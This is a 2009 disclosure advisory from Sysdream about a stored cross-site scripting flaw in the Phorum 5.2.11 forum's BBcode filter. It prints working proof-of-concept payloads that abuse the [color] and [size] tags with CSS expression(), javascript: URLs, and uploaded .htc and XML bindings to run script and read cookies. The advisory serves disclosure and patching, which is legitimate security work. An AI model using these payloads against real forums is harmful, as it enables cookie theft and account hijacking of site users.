//----- Advisory
Program : Phorum 5.2.11 Homepage : http://www.phorum.org/ Discovery : 2009/07/16 Author Contacted : 2009/07/17 Found by : crashfr at sysdream dot com This Advisory : crashfr at sysdream dot com //----- Application description Started in 1998, Phorum was the original PHP and MySQL based Open Source forum software. Phorum's developers pride themselves on creating message board software that is designed to meet different needs of different web sites while not sacrificing performance or features. //----- Description of vulnerability Phorum's filtering engine insufficiently filters some BBcode arguments. Using the bbcode tags [color] and [size] it is possible to execute Javascript using expression CSS property. //----- Proof Of Concept When the user post the following bbcode : [color=#000000;xss:expression(alert(document.cookie));]Sysdream Testing XSS[/color] or [size=20px;xss:expression(alert(document.cookie));]Sysdream Testing XSS[/size] The application convert it into the follow HTML code : <span style="color:#000000;xss:expression(alert(document.cookie));">Sysdream Testing XSS</span> and <span style="font-size: 20px;xss:expression(alert(document.cookie));">Sysdream Testing XSS</span> For IE6 you can use this POC: [color=#000000;background-image:url(javascript:alert('Sysdream_IE6_Alert'));]Sysdream Testing IE6[/color] For IE7: [color=#000000;xss:expression(alert('Sysdream_IE7_Alert'));]Sysdream Testing XSS[/color] Obviously, the POC doesn't work in IE8 and Firefox. But, but , but... Uploading htc (for IE8) or xml (for FF) file on the phorum using the "My Files" function in "Control Center", you can use : POC for FF: [color=#000000;-moz-binding:url(http://127.0.0.1/phorum/file.php?0,file=9,filename=script.xml#mycode);]Sysdream Testing FF[/color] POC for IE8: [color=#000000;behavior:url(http://127.0.0.1/phorum/file.php?0,file=8,filename=script.htc);]Sysdream Testing FF[/color] //----- Impact This vulnerability can be used to modify the phorum display, to gather the victim's cookie, etc. //----- Solution Upgrade Phorum to 5.2.12 //----- Credits http://www.sysdream.com http://www.hackerzvoice.net crashfr at sysdream dot com //----- Greetings Virtualabs
